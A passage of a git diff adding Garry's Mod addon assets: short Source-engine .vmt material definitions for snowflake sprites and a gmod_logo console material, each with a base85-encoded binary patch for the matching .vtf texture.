z@UnIjHrJ(h0^^nJJSmT|#j3{_xNpmjPVEj?8t>=r--rlC9Yj(R)*G{uk=GO@(Ec^C zjcL?&obv&>Q;|LiTbii9Za>}ixkm`(zJ~L-xung9a(y{&NMC;y*b~p^_tr(P0d~Su zE-6&~{D3Vy?Z9l35Wvd~Ct2l6V0m^xG_Gu-@tnXmn}U8pAQ%7mZ9-L%ochC!mmg;P zvw9GW7s?1r$@Q*#|2(t@uEpBbGu9zKyCWc%W0Jgf_vzwF+)Rw4^SujkWOSk-55~*T z2R+6+an5Vc#*^tO%uSjPU)CD)ETr4Pd|hi#{i`|ai;s#dZS3%F`vY4JvdOX!7+oU9 zOJ>mf=2Xu5U$2jgv+vgtjm8qe(FD3*^R~0P)0Loa);^qWsj$WWyGm?&pB>V@z8NKq z<{`JEz~Y$<>3^LxpMK@MKX~HFg4d?Zr|%mZi*Y(8-45m-(PN{JUH@>!B%T`Ec-*Th zX~0xNDU1&+D;QpLB;m39&&>xuu}5gPpB|&q6KV=<_b-{waw&^%9eGdJ z;REK8%W3~d)3lPkyKn*ioD9sUatIE`Q754_vJn$)383C))PK!HQN{Lvn)9mU_wdE5KNWoT8CeDDY@wMZD!?d>*ib93PQ94Sk=)e^psM1i5T8ZoRHF z)B54s^P<_g4>|Ab&WG{$7`d~_w%-Fg9&KuG!sTGEAPW;;B;$bVP^w80agg5cxb{XK zxtorizo7LhuO*>8uBnIlVpHL@W^AJQ(07iP`N~tgPjc6LRv!8T6BEQ}=zfRXGcId9 zY&$;#!kOTjlpN}hqxDAYVb7zOAn+F*xOZMOWF)N*w<9HKm-R6dsQe}8zhYL!LhTd! hi>JTa68rPSk^he5?n}sJ>j~>Qn*U1P)t4ZD{ssOnLnZ(K literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vmt new file mode 100644 index 0000000..9330797 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/6" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/6.vtf new file mode 100644 index 0000000000000000000000000000000000000000..a0dec759648714e806b0af88acfe96b049f1658d GIT binary patch literal 5680 zcmeH~eNa@{EFHVs%9oCOS#--P+bSPL zDzuCtq9Di^G&3)m zU(UJbo^$TG=iV0)z8)DMggERIsD0RPrzgxJ`$-R&d7iL2`(t3rehCDe>B;^{HT(I0 z{kphnd_qXAX1_?1baN4K0+@$riI6U(Fe?~SrQH=ia38_S{Tz+~6I%UDY)`J?cE>d!uUL4# z@Du5`*ML7Xx9xZJQhW(~mi1SdM)(4^A~)$2`xo#6@s{(ouE&=HmziJptGs%w6}X1e zGA`87=OVgLrNdn$_0N}exSMb*uGe7-1$XL>*A@z!N3gHY0&TpTou4Mx*SFH@?^*Io z_4UVFBf3mQOWR<4zhLiyYF;b{m@2LJP)N&hKCU6U;!IA_LXdw?G6BoK@*D*=()bfR zlVAP$^qE4mST{dkQ;vnlM(q!Sy>o_P>J6zyeZWnWLzdt8$S|;JU3^GU1kIN10+4Bj^*wIKFxd9_ixc7Q^19WX>ml>MqEF|)P!kQRw=H}TGQ2Q(w7yf zK;K!xco-#phwH0claDmQ1>}Zx7or1wBJF@h!!#{HkxJkOUg&2%mc`M)F8Ta3meE8a z@UvABRS|c+gMeH4?fc(sTjdAbjfnbu^-(~!FpxIPx07M}U)N}mAa`u1jHGq#@A(iPa>yQm_Tv*=L|*fVaZ4r_ha z1LvoTFv@?2p6M^W_ATxMS!4d7&)UlrZW_b(W}9DMZeYJOQOP9X`M8KJW}W@4uTPrq ziPzQFm;c6^)8y&>Zm#(;@nIK-x%qck@41ejO`jLS+OOZ<2=>FZ{ng@E*VAnC%_gS= zOq@THlmPxr@ODpqKWS|Oy!b{ohyRJV9{5$XNg~`i_7d=H_RaEqcGyLj;QqF#pBI=E zKhwX54fe}?V={67n$6yP%ZY7FQWKMC2l06Q5V2Ig!@m}IYNx;{q~OyK;0shjv{%RH z_&l)DuHVf40llKBpM))-KZH(R_-ob2#=t+;jzlDO*?0jDa9<;bgd{$1oHYIAXZpc> z$IspeesVruB-|c3`jy**e?wNC&(~)?_ad<9w$a7oXh$S)FG}g0aB|N8zC%^7libVQ z4gA<3i;;gbj@Nf&Tcz#EjEW(U8y>B(ZxO$)0G{vo=4wxn@F>>FC;AoeN8!{Ru+nx! z4!jl}9-?*)wgJnLUGm;(JKWEeHa6#m(>n2fHVnvjt6aam81(x$p0xLJiSGp_-;#MK z8yx;;@pA(-^~lBN*FjCarY>F!^A~IGuRj#r1HMAhg&!T~;QPV2ryxco`Fs_~GdS|J zi>BW#0RD_GdRf*-;d)>kL*EGKb;alRAIQ+H2gVGOL0=hUZJY1-Kni@*V0UJ~hws+` zw`=?fsk{YjnZWvQAYn z4aD(ou&*NS9O{`G$Ng;^A-MeI!wI}Tr&cmIjZazUf_?$&F#h-3gLu9cZeQ}Bb4or2 z`B{gW!z&`2CxEH+g-#in&bZ$+8rcs1-7I_?ulhwL{TpdwB?P|J@ zf7(=@h}p`P6xct2IE#jL`mOEtKl$cm$CDr*T(2TW9lh=VOBd8d9#JcCKdW|6-w-vi z5A&x>B-EkGYxsVjW~%7DA^%S!jK8~j^pWX;TR1kl?=!SQfceQ~>26pQZ*6=d9xN2hymJaWV4@!|a> zzApr!P_g%=i|4`rt1mc*T#edW2^@+-WWwM*IDhjU&s^>Cn|$I!d4sIy#Hlhui zpU++M)P6Qs|L3aD@np6ueWG#w4fD+MQ<}v%zUd?!4eBHdzk#xnAtxjG6Isjc2a< zCWw}@_pLUV|2EYu=I@@w{!9om-NRO#!*WjP<&Db9nf*H3eAWfoQ8i2w-cOznl5$_P zpm2Y&8FmZ1^juae%#W~3F<>t#0k^DQTqUXAzFS-)rW-cPOcc&_tXp`f3<@A6lq Mxc~NkJAeKCza6~MVgLXD literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vmt new file mode 100644 index 0000000..8c099f0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/7" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/7.vtf new file mode 100644 index 0000000000000000000000000000000000000000..8b1f5b9727fe3b184fedadc4c80e7d24e57bf922 GIT binary patch literal 5680 zcmeI0drXs86u@sEw57JRR@6BJb>h_cm=aUnK#Im!H;G0Kn{yi~@qweoEJ|ift&ah| z2GZdpT7)<^-%;lBxt9u75d?unhvlVc6{gZ46D!Ks-rWM{wtmT0iMsuopo4^81#`DA<4{*W?->ff0}1}k(-OMr64~k`)&FD zd6SO-mv*bGsk>i)8dzA)=&Dub65wdK7uknwNUu@(mk3E!9D9BvfnNO0h9!R@B)Jwm;P-uS1AMU~-AFvkn#@zZkVl0W7-8?iQ~5hQ=Gw8a==|^eFYu zmwlmy(ODde!@=Goq*aX-kEHn*UPgPSetB>%$m^xk`^d8+BY-i#Wy^@`<}H*Jhn*AT zd#Kzc(3(d3MNoVF4w3rK_?XtuZlv87So9UGzefnI$Q$ipMai!G9D`^$*l(03U$Ot1 zX9SknVh+Z{=dS~970f8x62c4uR@{2BLAW=8KCc)}yY*%l>aTl4Mf_ON{%o+Pta5}7 z95Qb&a0`n6u7STM6BwgOC&xPm<^cQ3KUdyS@1A~;)>si zxF%)+jnCzW_(QJkpz%+4uOF{|!F`@D_M4fMKuUz#_oW|=CXjyS@z0n3|MHH$0`vQ# z`52r-CM(5meOdN0-Ssn9Mc3bp`uC#a-`11()C+@Xe2pZ3Dzf}K`}3reo1In1o!x+Y zjwJd_@N?(maQpk_j{q1SURI*)_gkBAL1F{f4seensfNmQ=X3W1uD>sv<;P0X zv3frBr_T>Ym(hCX9QZ3QPEER(q;~;}n$NP=aK;*7EbgvEerP#mVPfuzrEk#pSC6M` z*@5r`CCE1vY0UYg1b|<5JYBUHdYaLNtM&81pWeHAJjA$}zAu&{()_*pv81uU7M!+~ z*6*N(^kbF~T@8$v;t&Bat&9goS-*|f4r6?%|edIt7B<123;Ml?ddq|;?&i~}QrCZC4+nYcx zZBf@JN3e81)$^t^V@5?&2*@X%XHNIUZD)b|ll@E(<5@4Cx{Jfhzo?0X8Qnn8_cgzL zn)m5KlJqvvpM4=o&z4}i9>?KBSrV=1Jb}fcz`CKPaiH%&m8Kl+4w^sdm4Y+LIPna~ zg%593ycRZ{&Yz1nrg^Q_ydUJVFQ?X;u%!%mTuEeK>j_W2OMhaMr>4!P{X}->Tp5ec z)`Nb~bPcN^-4a+*uV*bggX!~p#jm>xav1NANw6O*91D!4+eA_8*VFxtYKLQM z?Im(N>Fm!Ve`Iv4lM-uz-))=1VEdx`z+%^i=;|ZE%YY|WFiV1x)OKLrl_#ub#FKnr z^Dkt-ztMgTSXuS$O~um;Bk-_GxD1zj=6@*J31@3qnx8h_=lsx}Cd$6zMXJW0zx2L6t^MVuo?FyQcu0gYD+;%U9enhSJSOKWI96fJ#ry}oBDJ&tkg0vIpM z$~9De|LXc*SK}8KF*-r1r#}Z>Op(tqI%2_Jr*Ku4Bmo@-Mi(Zw8u6okz&xk%Yh3Ty zKLld`tg3bI(0(Gf7934H3%R6fG#A5&XgDqn=qmy&T7y zNr$5AcX7!ycR!}}!1X8czFOZ_T z&%EMsk?12PE~NdxKi1CwyLh?&29oo*_kICYe;Du}N(cC%DSth`UG-Oqy^^y literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vmt new file mode 100644 index 0000000..4600bdd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/8" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/8.vtf new file mode 100644 index 0000000000000000000000000000000000000000..ceffbc2f6eb3dfca459e6ef8b290789c1a50dad5 GIT binary patch literal 5680 zcmds*4Ny~87J%>j5lkTZh@iO28sq^*mkQKkE4ZMwn8%MWw(C0LPD8L&9McN5vsUYF zgw_?uPD22N5ri&mJ9Mo=#>TbMmIXSH-Ik?L`AH&65=azvMXRA$*6a(Na}(3qN!{w~ zb~E#m`R3ev?m6e)d(O$*_-qRDMFa!2rZShOv`z}7|E%dLxcQ)`%z|Vq?ud} zJW4e&>vhLj;4xYi7WbMO^K_tiJs|Jn^^NHAf8)kxc9-TcV9)VZs<<*xSKSQq;h3mc ze-wlD{XJM#l*4ZY$Op-n$%t3hL;{;AUFB49$!_4`cp9NXW-f53iK}4qeliQ#h<3{( zWts?JPkTNmYmP1CPGJ8SeNe!kH6p{m8}B*a8!y|hRT#8637{{qN-Hv)33*`pJ=gdD zNUNY!bU3VMA#SM1zm3iY4l+hn1D0&IC%>Ad&&{15mq>|v*# zxdHMS)9V%D^*!U!Cs=XRz^P+le4;6<)ZN~Zp{ERIx#J&zd`zz}d>Cy!1U#}%Ng*Ve z32dfjWG3u4F9D{J)afr?f4+zRK^I?;N2HT=Fn&aY8VS+mQed+XB@=`U@5f>@r(Vmc zwu0O=2ceTMevI#jg+ipHMT_s7PY{288^8Z~?Iu^K&g*Khy`!{!d`lC9&)=wDg`W)- zJ&D&RDxOJt)#aaOe19k(L0nn8Tl^}KRKsRIy!C#lz24@hdpVEZ=KtvAUn5$Hgpa^^ zK^8ur1Tgr1|LFX2HX8f~`;*KA`7F+NKkLyd>g@7tkY8I7O3Re4{NP}F7Oz&b86XcF z(ykg1F!O=Q*y(!H0sOxfpKZje>g`+w_RlQHUl=z>nhf?HL^?}&+L{Hx4l=YX>oh9> zjJ1Y-n(N0lfN~O)JlA%smTytD{nM^4Cw}`Ze)M z?c;|&lWIUdifRQ%lEV^#jRdo#q}j3*_!nsEtNMZp8u&WB{`aetKG;61)85~P%Ruf| zs}&72DX>5H8?W%&DLaGpx z9$Y`nCV^NY5M!R~=bI_*^Vq(?ivrc2yizQ`6n}sw7#jN*WorzQyXl)~{X=}o&OY2P z%(8IREydL>V9)*f>p6bz75k3Iw6ZqPH$`?gM{;6ZPj7d1?(Kd2k7AJDYTaZ!Y(DcQ z@RdGBdSZ|}1kC%da#E0q(8R~pO2fJQKwQvlJ8&OSU6peR5<>^WA>fL3-fS4^c9hR;(6mN?BCFAzCZIB z#{K`-pPqg4{oMISz@CY&oqOv}ZhjZoY~r&WM`Ha>ra9MoW)oK^ajWn8D~85s!-sgi zi8&-KRsYEb`Yb5*@WDs>aX#_wnd`5ABd81HK~8`8mJ8UM|DN(1q|4EAM~yJwNTQj; zH4EMW7T6kN<1$?O<>u}8^mo_4c=6nU-JRI}Y5(2MKku)Y6}aZx^u{ODtd0i#gEn?` z94o;2FU8S#aYu%$-!+qqvivN?IKG3FOw<30825h+;_m6UJ^k~>Lr7Pe$Q=s=dl>ss z#ek;zFTi)YL<>|O>COY|ty{C#gtwFdk6b8tdP5}30XzMrd6$7lKU4GDy|@ARn@-~| zE6bZwfV*s5$H5J6l>@h3&+UD4t@P)>dX(BclGcU$(SPvvvR_i)|NoC?{r2GH<63!L zy!8qd&cLRJ<5UpMj1F;}<;_~r#g zf1jck=Z`x+Vpf{PehTtC?^Vsr7td1wUqwomK=1wz*xr+{rSx#Y81OP%arMCI|2+TY zdffj+^9!wIjjsA}l@zlms%#6a*GWhn|DQcT)RwXt1(7iSe(inO<1^5{ zme<|#cQ1dQg1K^h-zOu>>NzrS4cI@KrKSbyh-lz`BAuMt<;sVPt8$>FF&u{wgCJIFuol!c;Hw6H~x8xAOHU4p8jW@$NLa(^B=VQU*8MWQ~&?~ literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vmt new file mode 100644 index 0000000..77b757a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/9" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/9.vtf new file mode 100644 index 0000000000000000000000000000000000000000..76a8cdc5882efdb3c780300bdc6ebbdd9ff5796b GIT binary patch literal 5680 zcmeHKZ%k8H6u<4GEfgLWD6mio#FhZlOvjdHhRrgQ5lhM+!$PKmNvSLnEo{VevL(WF z!(do!aOx%29nr zG*+qr%X&o3=g=Mp;C!TS(db*k0B6>5W);WK@sa|Lb#$Av!LIR+KcE4;AL-jP`q=Y; zBL@$T9?rdZ18{hM)`h|EJ79bv_ZSa!TJ1S*+%7$Rm1&YpJ0kMZz`PJ z30M^KHTgc7@=ro~E8$Q1NZ#UhXLCksmu7TrCH^UnLtFTG>3FYDAm4nVdEt-?<`d$G zHlDwc=0hpShj4tTSmPr8wdK@*i@<-$O|FK-rviRO?{>2O@v#$Lerv(5D<-(Zm#<)a z41#>R(7sq*#PMgqpXfFcUqxp)z!Rc^%NqT2M7DM7cZYti|AU!Xta=CeP(3;aD0 z^ZJyQ0$%;sKjXHUUeclbI8vt+?V2x<^c}$R9ujZX*_Q#Y8shWWya{lkAfLi~#AJR* z>g&^sa-hMa;>c2Bt0eQc zLj34sv;j#{DL<0mfPTzhV!sLb#S8ok?N9NezIfChD=i;s5Bc@Qr zY}itfZmCd1{FS&n+0nx~0Eg;txyOsUt>y%GjT88uK12Rj9UeR2pnTj&T#lrviykjn zkJUdD{aEhO|G#>;vCQ82%ChAzUS+8!>j9lF>9WrDht~K3#FIC#XSzQV=Hocl^7W_o z(lN3)cji-n!tuMk{!W^}KXT3uB{B=|PlVquH;#7I|E`;^`4{*`j_~^ErTf9S26uJq zzFAs755K;*O6d9_@8gVf9c}mEdy&iIxzt;>czp@H|Eo(0 zKh8w|&+*uBGVIfZ^%8%Ds~oXZ(|(%d`_14xFC<{Hx%boCbN7E3{-wnDCgg|Io7c;t z&sV|f6{T34njF@j`q4C^^5mef2Ng9~ysVySBpre-QQTp*wazy$I)9X_z_d qHaWF5Bapux_ReHS$HM)x()cfxk5U)d-%IuP^!xdB2J{qaKK=tO_a;mL literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vmt new file mode 100644 index 0000000..8530faf --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "$basetexture" "console/gmod_logo" + "$vertexcolor" 1 + "$vertexalpha" 1 + "$ignorez" 1 + "$no_fullbright" "1" + "$nolod" "1" + "$additive" 0 + "$nocull" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/console/gmod_logo.vtf new file mode 100644 index 0000000000000000000000000000000000000000..c92213185f9a92036d0b98567b9fa576c96d200a GIT binary patch literal 349760 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 